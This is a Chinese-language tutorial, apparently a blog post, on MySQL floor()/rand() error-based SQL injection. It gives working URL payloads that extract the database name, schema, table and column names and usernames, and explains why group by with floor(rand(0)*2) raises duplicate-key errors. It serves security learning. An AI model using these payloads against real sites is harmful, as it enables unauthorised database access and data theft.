SQL注入之floor报错原理
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concant()中的SQL语句或者函数被执行,所以改语句报错而且被抛出的主键是SQL语句或数执行后的结果。
爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
报错需要满足的条件:
- floor()报错注入在MySQL版本8.0 已失效,经过测试7.3.4nts也已失效(据说的 本人没有实践过)
- 注入语句中查询用到的表内数据必须>=3条
- 需要用到的count(*)、floor()或者ceil()、rand()、group by
函数详解
RAND() RAND(N)
返回一个随机浮点值 v ,范围在 0 到1 之间 (即, 其范围为 0 ≤ v ≤ 1.0)。若已指定一个整数参数 N ,则它被用作种子值,用来产生重复序列。
rand() 随机数函数
floor() 向下取整函数
count() 计数函数
group by 分组方法
count和group by结合使用
mysql> select * from user;
+----+--------+--------+
| Id | uname | pwd |
+----+--------+--------+
| 1 | admin | 123456 |
| 2 | admin1 | 123457 |
| 3 | admin2 | 123458 |
| 4 | admin3 | 12321 |
| 5 | admin | 12345 |
+----+--------+--------+
5 rows in set (0.00 sec)
mysql> select count(*) from user group by uname;
+----------+
| count(*) |
+----------+
| 2 |
| 1 |
| 1 |
| 1 |
+----------+
4 rows in set (0.00 sec)
mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:
先建立虚拟表,key是主键,不可重复
依次对分组字段数据到key中查询,如果key中没有相同数据,就进行添加,cout为1
如果在key中查询遇到相同的数据,则不会进行数据的插入,会对count加1操作!
group by floor(rand(0)*2)报错原理
实际上是因为floor(rand(0)*2)计算是有固定规律的 效果如下是 0110110011 …的顺序 记住这个顺序对理解比较重要
其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次。
那这个“被计算多次”到底是什么意思?*就是在使用group by的时候,floor(rand(0)2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。
我们来看下floor(rand(0)*2)报错的过程就知道了,从上面可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。
具体看看select count(*) from student group by floor(rand(0)*2);的查询过程
构造报错语句
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23